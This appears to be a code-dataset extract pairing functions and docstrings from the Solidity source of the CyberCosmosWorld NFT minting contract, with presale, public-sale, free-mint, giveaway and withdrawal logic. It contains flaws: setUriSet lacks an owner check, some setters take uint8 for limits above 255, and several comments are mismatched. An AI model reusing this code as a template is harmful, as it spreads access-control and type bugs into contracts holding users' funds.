exceeded"); require(currentTotalSupply + _accounts.length <= maxTotSup, "maxTotalSupply exceeded"); uint256 counter = currentTotalSupply; for (uint256 i; i < _accounts.length; i++) { _safeMint(_accounts[i], uint8(1)); counter++; } airdropCounter += uint16(_accounts.length); if (currentTotalSupply + _accounts.length == maxTotSup) emit SoldOut(); // emit SoldOut in case some tokens were airdropped after the sale emit GiveAway(_accounts); } /* * @notice Sets base URI for tokens * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setBaseURI(string memory _newBaseURI) external onlyOwner { baseURI = _newBaseURI; uriSet = true; } /* * @notice Sets Public Sale Price * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setPublicSalePrice(uint256 _newPublicSalePrice) external onlyOwner { publicSalePrice = _newPublicSalePrice; } /* * @notice Withdraws specified amount of ETH to specified address * @dev Only owner can call it * @param _to The address of ETH receiver * @param _amount The amount of ETH to withdraw */ function withdrawTo(uint256 _amount) external onlyOwner { uint256 balance = address(this).balance; require(balance >= _amount, "unsufficient balance"); uint256 three_percent = (_amount / 100) * 3; distributeFunds(three_percent); _sendETH(payable(withdrawAddress), _amount - three_percent); } /* * @notice Sets Amount Reserved For Giveaway * @dev Only owner can call it * @param _newAmountForGiveAway The new amount for give away */ function setAmountForGiveAway(uint8 _newAmountForGiveAway) external onlyOwner { amountForGiveAway = _newAmountForGiveAway; } /* * @notice Sets Pre Sale Token Limit * @dev Only owner can call it * @param _newPreSaleTokenLimit The new Pre Sale Token Limit */ function setPreSaleTokenLimit(uint8 _newPreSaleTokenLimit) external onlyOwner { preSaleTokenLimit = _newPreSaleTokenLimit; } /* * @notice Sets Public Sale Limit Per Transaction * @dev Only owner can call it * @param _newPublicSaleLimitPerTxn The new Public Sale Limit Per Transaction */ function setPublicSaleLimitPerTxn(uint8 _newPublicSaleLimitPerTxn) external onlyOwner { publicSaleLimitPerTx = _newPublicSaleLimitPerTxn; } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintVipPl(uint256 _amount) private { require(saleState == 1, "VIP Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedVipPl[_msgSender()] + _amount <= preSaleLimitPerUserVipPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSaleVipPlPrice); preSaleMintedVipPl[_msgSender()] += uint8(_amount); emit PreSaleMintVipPl(_msgSender(), _amount); } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintPl(uint256 _amount) private { require(saleState == 2, "Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedPl[_msgSender()] + _amount <= preSaleLimitPerUserPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSalePlPrice); preSaleMintedPl[_msgSender()] += uint8(_amount); emit PreSaleMintPl(_msgSender(), _amount); } /* * @dev Mints tokens for the user and refunds ETH if too much was passed * @param _amount The amount of tokens * @param _price The price for each token */ function _buyAndRefund(uint256 _amount, uint256 _price) internal { uint256 totalCost = _amount * _price; require(msg.value >= totalCost, "not enough funds"); _safeMint(_msgSender(), _amount); // totalSupply += uint16(_amount); mintCounter += uint16(_amount); uint256 refund = msg.value - totalCost; if (refund > 0) { _sendETH(payable(_msgSender()), refund); } } /* * @dev sends ETH to the specified address * @param _to The receiver * @param _amount The amount of ETH to send */ function _sendETH(address payable _to, uint256 _amount) internal { (bool success, ) = _to.call{value: _amount}(""); require(success, "send ETH failed"); } /* * @dev Returns the base URI */ function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function tokenURI(uint256 tokenId) public view override returns (string memory) { if (!uriSet) return _baseURI(); return string(abi.encodePacked(ERC721A.tokenURI(tokenId), ".json")); } function setUriSet(bool status) external { uriSet = status; } /* * @dev Returns the leaf for Merkle tree * @param _account Address of the user * @param _userId ID of the user */ function _leaf(address _account) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_account)); } /* * @dev Verifies if the proof is valid or not for VIP PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyVipPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootVipPl, leaf); } /* * @dev Verifies if the proof is valid or not for PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootPl, leaf); } /* * @dev receive() function to let the contract accept ETH */ receive() external payable{} }
setSaleState
function setSaleState(uint8 _newSaleState) external onlyOwner { saleState = _newSaleState; }
/* * @notice Sets Sale State * @dev Only owner can call it * @param _newSaleState New Merkle root */
Comment
v0.8.5+commit.a4f2e591
{ "func_code_index": [ 4660, 4768 ] }
14,168
CyberCosmosWorld
contracts/CCW.sol
0x80b745ada7c13cb420e0a2acbcbffa033a3b5164
Solidity
CyberCosmosWorld
contract CyberCosmosWorld is ERC721A, Ownable, ReentrancyGuard, Pausable { using Math for uint256; mapping(address => uint8) public preSaleMintedVipPl; // Amounts of minted tokens by users on the presale for VIP Pink List mapping(address => uint8) public preSaleMintedPl; // Amounts of minted tokens by users on the presale for Pink List mapping(address => uint8) public freeMintAddresses; // Amounts of minted tokens by users on the presale for Pink List uint8 constant public preSaleLimitPerUserVipPl = 5; // Max amount of tokens available for mint at the pre sale per address uint8 constant public preSaleLimitPerUserPl = 50; // Max amount of tokens available for mint at the pre sale per address uint8 public amountForGiveAway = 200; // Amount of tokens reserved for give away uint8 public publicSaleLimitPerTx = 10; // Max amount of tokens available for mint at the public sale per transaction uint8 public saleState = 1; // 0 - No sale, 1 - VIP PL, 2 - PL , 3 - Public Sale uint16 public mintCounter; // The next token ID to be minted (not equal to totalSupply because of the give away) uint16 public airdropCounter; // Current amount of airdropped tokens uint16 public maxTotalSupply = 10000; // Max amount of tokens available for mint in total uint16 public preSaleTokenLimit = 8000; // Max amount of tokens available for mint at the pre sale address public communityFundAddress = 0x86eA9D9ff386BCaD2D18b42192b40F264a77a679; // The Community Fund address address public withdrawAddress = 0x27BedE3c03096A5D7cd764874D35A525EF45689b; // The Withdraw Fund address string public baseURI; // Base URI for tokens string _prerevealUri = "ipfs://QmSLBj2jM8Dt2sYiDyHQnWAB9nN5jrsA1BVah17ohKjjig/"; bool public uriSet; // If base URI set or not bool public freeMintActive; uint256 public publicSalePrice = 0.1 ether; // Token price at the public sale stage uint256 constant public preSaleVipPlPrice = 0.02 ether; // Token price at the pre sale stage for VIP Pink List uint256 constant public preSalePlPrice = 0.08 ether; // Token price at the pre sale stage for Pink List bytes32 public merkleRootVipPl; // Merkle root for the whitelist bytes32 public merkleRootPl; // Merkle root for the whitelist event PreSaleMintVipPl(address user, uint256 amount); event PreSaleMintPl(address user, uint256 amount); event PublicSaleMint(address user, uint256 amount); event FreeMint(address user, uint256 amount); event SoldOut(); event GiveAway(address[] addresses); // Merkle Roots bytes32 _merkleRootVipPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; bytes32 _merkleRootPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; /* * @param _name The name of the NFT * @param _symbol The symbol of the NFT */ constructor ( string memory _name, string memory _symbol ) ERC721A(_name, _symbol) { require(uint256(_merkleRootVipPl) > 0, "invalid MerkleRoot for VIP PL"); require(uint256(_merkleRootPl) > 0, "invalid MerkleRoot for PL"); merkleRootVipPl = _merkleRootVipPl; merkleRootPl = _merkleRootPl; baseURI = _prerevealUri; } /* * @notice Distrubites specified amounts of ETH to the Community Fund * @dev Only owner can call it * @param _amountToCommunityFund Amount of ETH for the Community Fund */ function distributeFunds(uint256 _amountToCommunityFund) internal onlyOwner { uint256 balance = address(this).balance; require(_amountToCommunityFund <= balance, "not enough balance"); _sendETH(payable(communityFundAddress), _amountToCommunityFund); } /* * @notice returns Balance of the contract * @dev Only owner can call it */ function getContractBalance() public view returns(uint256) { return address(this).balance; } /* * @notice Sets Merkle root for VIP PL * @dev Only owner can call it * @param _newVipPlRoot New Merkle root */ function setMerkleRootVipPl(bytes32 _newVipPlRoot) external onlyOwner { merkleRootVipPl = _newVipPlRoot; } /* * @notice Sets Free Mint Active * @dev Only owner can call it * @param _newFreeMintActive New Merkle root */ function setFreeMintActive(bool _newFreeMintActive) external onlyOwner { freeMintActive = _newFreeMintActive; } /* * @notice Sets Sale State * @dev Only owner can call it * @param _newSaleState New Merkle root */ function setSaleState(uint8 _newSaleState) external onlyOwner { saleState = _newSaleState; } /* * @notice Sets Merkle root for PL * @dev Only owner can call it * @param _newPlRoot New Merkle root */ function setMerkleRootPl(bytes32 _newPlRoot) external onlyOwner { merkleRootPl = _newPlRoot; } /* * @notice Sets the Community Fund Address * @dev Only owner can call it * @param _communityFundAddress The new address of the Commmunity Fund */ function setCommunityFundAddress(address _communityFundAddress) external onlyOwner { require(_communityFundAddress != address(0), "communityFundAddress is 0"); communityFundAddress = _communityFundAddress; } /* * @notice Pauses contract * @dev Only owner can call it */ function pause() external onlyOwner whenNotPaused { _pause(); } /* * @notice Unpauses contract * @dev Only owner can call it */ function unpause() external onlyOwner whenPaused { _unpause(); } /* * @notice Mints specified amount of tokens on the VIP Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintVipPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] == 0, "already registered"); require(_verifyVipPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the VIP Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintVipPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] > 0, "not registered"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] == 0, "already registered"); require(_verifyPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] > 0, "not registered"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function publicSaleMint(uint256 _amount) external payable nonReentrant whenNotPaused { require(saleState == 3, "public sale isn't active"); require(_amount > 0 && _amount <= publicSaleLimitPerTx, "invalid amount"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, publicSalePrice); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit PublicSaleMint(_msgSender(), _amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function freeMint(uint8 _amount) external payable nonReentrant whenNotPaused { require(saleState != 0, "sale isn't active"); require(_amount == 1, "invalid amount"); require(freeMintActive, "Free Mint is not active"); require(freeMintAddresses[_msgSender()] == 0, "already minted"); require(balanceOf(_msgSender()) >= 5, "doesn't own 5 or more nfts"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, 0); freeMintAddresses[_msgSender()] += uint8(_amount); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit FreeMint(_msgSender(), _amount); } /* * @notice Mints specified IDs to specified addresses * @dev Only owner can call it. Lengths of arrays must be equal. * @param _accounts The list of addresses to mint tokens to */ function giveaway(address[] memory _accounts) external onlyOwner { uint256 maxTotSup = maxTotalSupply; uint256 currentTotalSupply = totalSupply(); require(_accounts.length <= publicSaleLimitPerTx, "Limit per transaction exceeded"); require(airdropCounter + _accounts.length <= amountForGiveAway, "limit for airdrop exceeded"); require(currentTotalSupply + _accounts.length <= maxTotSup, "maxTotalSupply exceeded"); uint256 counter = currentTotalSupply; for (uint256 i; i < _accounts.length; i++) { _safeMint(_accounts[i], uint8(1)); counter++; } airdropCounter += uint16(_accounts.length); if (currentTotalSupply + _accounts.length == maxTotSup) emit SoldOut(); // emit SoldOut in case some tokens were airdropped after the sale emit GiveAway(_accounts); } /* * @notice Sets base URI for tokens * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setBaseURI(string memory _newBaseURI) external onlyOwner { baseURI = _newBaseURI; uriSet = true; } /* * @notice Sets Public Sale Price * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setPublicSalePrice(uint256 _newPublicSalePrice) external onlyOwner { publicSalePrice = _newPublicSalePrice; } /* * @notice Withdraws specified amount of ETH to specified address * @dev Only owner can call it * @param _to The address of ETH receiver * @param _amount The amount of ETH to withdraw */ function withdrawTo(uint256 _amount) external onlyOwner { uint256 balance = address(this).balance; require(balance >= _amount, "unsufficient balance"); uint256 three_percent = (_amount / 100) * 3; distributeFunds(three_percent); _sendETH(payable(withdrawAddress), _amount - three_percent); } /* * @notice Sets Amount Reserved For Giveaway * @dev Only owner can call it * @param _newAmountForGiveAway The new amount for give away */ function setAmountForGiveAway(uint8 _newAmountForGiveAway) external onlyOwner { amountForGiveAway = _newAmountForGiveAway; } /* * @notice Sets Pre Sale Token Limit * @dev Only owner can call it * @param _newPreSaleTokenLimit The new Pre Sale Token Limit */ function setPreSaleTokenLimit(uint8 _newPreSaleTokenLimit) external onlyOwner { preSaleTokenLimit = _newPreSaleTokenLimit; } /* * @notice Sets Public Sale Limit Per Transaction * @dev Only owner can call it * @param _newPublicSaleLimitPerTxn The new Public Sale Limit Per Transaction */ function setPublicSaleLimitPerTxn(uint8 _newPublicSaleLimitPerTxn) external onlyOwner { publicSaleLimitPerTx = _newPublicSaleLimitPerTxn; } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintVipPl(uint256 _amount) private { require(saleState == 1, "VIP Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedVipPl[_msgSender()] + _amount <= preSaleLimitPerUserVipPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSaleVipPlPrice); preSaleMintedVipPl[_msgSender()] += uint8(_amount); emit PreSaleMintVipPl(_msgSender(), _amount); } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintPl(uint256 _amount) private { require(saleState == 2, "Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedPl[_msgSender()] + _amount <= preSaleLimitPerUserPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSalePlPrice); preSaleMintedPl[_msgSender()] += uint8(_amount); emit PreSaleMintPl(_msgSender(), _amount); } /* * @dev Mints tokens for the user and refunds ETH if too much was passed * @param _amount The amount of tokens * @param _price The price for each token */ function _buyAndRefund(uint256 _amount, uint256 _price) internal { uint256 totalCost = _amount * _price; require(msg.value >= totalCost, "not enough funds"); _safeMint(_msgSender(), _amount); // totalSupply += uint16(_amount); mintCounter += uint16(_amount); uint256 refund = msg.value - totalCost; if (refund > 0) { _sendETH(payable(_msgSender()), refund); } } /* * @dev sends ETH to the specified address * @param _to The receiver * @param _amount The amount of ETH to send */ function _sendETH(address payable _to, uint256 _amount) internal { (bool success, ) = _to.call{value: _amount}(""); require(success, "send ETH failed"); } /* * @dev Returns the base URI */ function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function tokenURI(uint256 tokenId) public view override returns (string memory) { if (!uriSet) return _baseURI(); return string(abi.encodePacked(ERC721A.tokenURI(tokenId), ".json")); } function setUriSet(bool status) external { uriSet = status; } /* * @dev Returns the leaf for Merkle tree * @param _account Address of the user * @param _userId ID of the user */ function _leaf(address _account) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_account)); } /* * @dev Verifies if the proof is valid or not for VIP PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyVipPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootVipPl, leaf); } /* * @dev Verifies if the proof is valid or not for PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootPl, leaf); } /* * @dev receive() function to let the contract accept ETH */ receive() external payable{} }
setMerkleRootPl
function setMerkleRootPl(bytes32 _newPlRoot) external onlyOwner { merkleRootPl = _newPlRoot; }
/* * @notice Sets Merkle root for PL * @dev Only owner can call it * @param _newPlRoot New Merkle root */
Comment
v0.8.5+commit.a4f2e591
{ "func_code_index": [ 4896, 5006 ] }
14,169
CyberCosmosWorld
contracts/CCW.sol
0x80b745ada7c13cb420e0a2acbcbffa033a3b5164
Solidity
CyberCosmosWorld
contract CyberCosmosWorld is ERC721A, Ownable, ReentrancyGuard, Pausable { using Math for uint256; mapping(address => uint8) public preSaleMintedVipPl; // Amounts of minted tokens by users on the presale for VIP Pink List mapping(address => uint8) public preSaleMintedPl; // Amounts of minted tokens by users on the presale for Pink List mapping(address => uint8) public freeMintAddresses; // Amounts of minted tokens by users on the presale for Pink List uint8 constant public preSaleLimitPerUserVipPl = 5; // Max amount of tokens available for mint at the pre sale per address uint8 constant public preSaleLimitPerUserPl = 50; // Max amount of tokens available for mint at the pre sale per address uint8 public amountForGiveAway = 200; // Amount of tokens reserved for give away uint8 public publicSaleLimitPerTx = 10; // Max amount of tokens available for mint at the public sale per transaction uint8 public saleState = 1; // 0 - No sale, 1 - VIP PL, 2 - PL , 3 - Public Sale uint16 public mintCounter; // The next token ID to be minted (not equal to totalSupply because of the give away) uint16 public airdropCounter; // Current amount of airdropped tokens uint16 public maxTotalSupply = 10000; // Max amount of tokens available for mint in total uint16 public preSaleTokenLimit = 8000; // Max amount of tokens available for mint at the pre sale address public communityFundAddress = 0x86eA9D9ff386BCaD2D18b42192b40F264a77a679; // The Community Fund address address public withdrawAddress = 0x27BedE3c03096A5D7cd764874D35A525EF45689b; // The Withdraw Fund address string public baseURI; // Base URI for tokens string _prerevealUri = "ipfs://QmSLBj2jM8Dt2sYiDyHQnWAB9nN5jrsA1BVah17ohKjjig/"; bool public uriSet; // If base URI set or not bool public freeMintActive; uint256 public publicSalePrice = 0.1 ether; // Token price at the public sale stage uint256 constant public preSaleVipPlPrice = 0.02 ether; // Token price at the pre sale stage for VIP Pink List uint256 constant public preSalePlPrice = 0.08 ether; // Token price at the pre sale stage for Pink List bytes32 public merkleRootVipPl; // Merkle root for the whitelist bytes32 public merkleRootPl; // Merkle root for the whitelist event PreSaleMintVipPl(address user, uint256 amount); event PreSaleMintPl(address user, uint256 amount); event PublicSaleMint(address user, uint256 amount); event FreeMint(address user, uint256 amount); event SoldOut(); event GiveAway(address[] addresses); // Merkle Roots bytes32 _merkleRootVipPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; bytes32 _merkleRootPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; /* * @param _name The name of the NFT * @param _symbol The symbol of the NFT */ constructor ( string memory _name, string memory _symbol ) ERC721A(_name, _symbol) { require(uint256(_merkleRootVipPl) > 0, "invalid MerkleRoot for VIP PL"); require(uint256(_merkleRootPl) > 0, "invalid MerkleRoot for PL"); merkleRootVipPl = _merkleRootVipPl; merkleRootPl = _merkleRootPl; baseURI = _prerevealUri; } /* * @notice Distrubites specified amounts of ETH to the Community Fund * @dev Only owner can call it * @param _amountToCommunityFund Amount of ETH for the Community Fund */ function distributeFunds(uint256 _amountToCommunityFund) internal onlyOwner { uint256 balance = address(this).balance; require(_amountToCommunityFund <= balance, "not enough balance"); _sendETH(payable(communityFundAddress), _amountToCommunityFund); } /* * @notice returns Balance of the contract * @dev Only owner can call it */ function getContractBalance() public view returns(uint256) { return address(this).balance; } /* * @notice Sets Merkle root for VIP PL * @dev Only owner can call it * @param _newVipPlRoot New Merkle root */ function setMerkleRootVipPl(bytes32 _newVipPlRoot) external onlyOwner { merkleRootVipPl = _newVipPlRoot; } /* * @notice Sets Free Mint Active * @dev Only owner can call it * @param _newFreeMintActive New Merkle root */ function setFreeMintActive(bool _newFreeMintActive) external onlyOwner { freeMintActive = _newFreeMintActive; } /* * @notice Sets Sale State * @dev Only owner can call it * @param _newSaleState New Merkle root */ function setSaleState(uint8 _newSaleState) external onlyOwner { saleState = _newSaleState; } /* * @notice Sets Merkle root for PL * @dev Only owner can call it * @param _newPlRoot New Merkle root */ function setMerkleRootPl(bytes32 _newPlRoot) external onlyOwner { merkleRootPl = _newPlRoot; } /* * @notice Sets the Community Fund Address * @dev Only owner can call it * @param _communityFundAddress The new address of the Commmunity Fund */ function setCommunityFundAddress(address _communityFundAddress) external onlyOwner { require(_communityFundAddress != address(0), "communityFundAddress is 0"); communityFundAddress = _communityFundAddress; } /* * @notice Pauses contract * @dev Only owner can call it */ function pause() external onlyOwner whenNotPaused { _pause(); } /* * @notice Unpauses contract * @dev Only owner can call it */ function unpause() external onlyOwner whenPaused { _unpause(); } /* * @notice Mints specified amount of tokens on the VIP Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintVipPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] == 0, "already registered"); require(_verifyVipPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the VIP Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintVipPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] > 0, "not registered"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] == 0, "already registered"); require(_verifyPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] > 0, "not registered"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function publicSaleMint(uint256 _amount) external payable nonReentrant whenNotPaused { require(saleState == 3, "public sale isn't active"); require(_amount > 0 && _amount <= publicSaleLimitPerTx, "invalid amount"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, publicSalePrice); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit PublicSaleMint(_msgSender(), _amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function freeMint(uint8 _amount) external payable nonReentrant whenNotPaused { require(saleState != 0, "sale isn't active"); require(_amount == 1, "invalid amount"); require(freeMintActive, "Free Mint is not active"); require(freeMintAddresses[_msgSender()] == 0, "already minted"); require(balanceOf(_msgSender()) >= 5, "doesn't own 5 or more nfts"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, 0); freeMintAddresses[_msgSender()] += uint8(_amount); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit FreeMint(_msgSender(), _amount); } /* * @notice Mints specified IDs to specified addresses * @dev Only owner can call it. Lengths of arrays must be equal. * @param _accounts The list of addresses to mint tokens to */ function giveaway(address[] memory _accounts) external onlyOwner { uint256 maxTotSup = maxTotalSupply; uint256 currentTotalSupply = totalSupply(); require(_accounts.length <= publicSaleLimitPerTx, "Limit per transaction exceeded"); require(airdropCounter + _accounts.length <= amountForGiveAway, "limit for airdrop exceeded"); require(currentTotalSupply + _accounts.length <= maxTotSup, "maxTotalSupply exceeded"); uint256 counter = currentTotalSupply; for (uint256 i; i < _accounts.length; i++) { _safeMint(_accounts[i], uint8(1)); counter++; } airdropCounter += uint16(_accounts.length); if (currentTotalSupply + _accounts.length == maxTotSup) emit SoldOut(); // emit SoldOut in case some tokens were airdropped after the sale emit GiveAway(_accounts); } /* * @notice Sets base URI for tokens * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setBaseURI(string memory _newBaseURI) external onlyOwner { baseURI = _newBaseURI; uriSet = true; } /* * @notice Sets Public Sale Price * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setPublicSalePrice(uint256 _newPublicSalePrice) external onlyOwner { publicSalePrice = _newPublicSalePrice; } /* * @notice Withdraws specified amount of ETH to specified address * @dev Only owner can call it * @param _to The address of ETH receiver * @param _amount The amount of ETH to withdraw */ function withdrawTo(uint256 _amount) external onlyOwner { uint256 balance = address(this).balance; require(balance >= _amount, "unsufficient balance"); uint256 three_percent = (_amount / 100) * 3; distributeFunds(three_percent); _sendETH(payable(withdrawAddress), _amount - three_percent); } /* * @notice Sets Amount Reserved For Giveaway * @dev Only owner can call it * @param _newAmountForGiveAway The new amount for give away */ function setAmountForGiveAway(uint8 _newAmountForGiveAway) external onlyOwner { amountForGiveAway = _newAmountForGiveAway; } /* * @notice Sets Pre Sale Token Limit * @dev Only owner can call it * @param _newPreSaleTokenLimit The new Pre Sale Token Limit */ function setPreSaleTokenLimit(uint8 _newPreSaleTokenLimit) external onlyOwner { preSaleTokenLimit = _newPreSaleTokenLimit; } /* * @notice Sets Public Sale Limit Per Transaction * @dev Only owner can call it * @param _newPublicSaleLimitPerTxn The new Public Sale Limit Per Transaction */ function setPublicSaleLimitPerTxn(uint8 _newPublicSaleLimitPerTxn) external onlyOwner { publicSaleLimitPerTx = _newPublicSaleLimitPerTxn; } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintVipPl(uint256 _amount) private { require(saleState == 1, "VIP Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedVipPl[_msgSender()] + _amount <= preSaleLimitPerUserVipPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSaleVipPlPrice); preSaleMintedVipPl[_msgSender()] += uint8(_amount); emit PreSaleMintVipPl(_msgSender(), _amount); } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintPl(uint256 _amount) private { require(saleState == 2, "Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedPl[_msgSender()] + _amount <= preSaleLimitPerUserPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSalePlPrice); preSaleMintedPl[_msgSender()] += uint8(_amount); emit PreSaleMintPl(_msgSender(), _amount); } /* * @dev Mints tokens for the user and refunds ETH if too much was passed * @param _amount The amount of tokens * @param _price The price for each token */ function _buyAndRefund(uint256 _amount, uint256 _price) internal { uint256 totalCost = _amount * _price; require(msg.value >= totalCost, "not enough funds"); _safeMint(_msgSender(), _amount); // totalSupply += uint16(_amount); mintCounter += uint16(_amount); uint256 refund = msg.value - totalCost; if (refund > 0) { _sendETH(payable(_msgSender()), refund); } } /* * @dev sends ETH to the specified address * @param _to The receiver * @param _amount The amount of ETH to send */ function _sendETH(address payable _to, uint256 _amount) internal { (bool success, ) = _to.call{value: _amount}(""); require(success, "send ETH failed"); } /* * @dev Returns the base URI */ function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function tokenURI(uint256 tokenId) public view override returns (string memory) { if (!uriSet) return _baseURI(); return string(abi.encodePacked(ERC721A.tokenURI(tokenId), ".json")); } function setUriSet(bool status) external { uriSet = status; } /* * @dev Returns 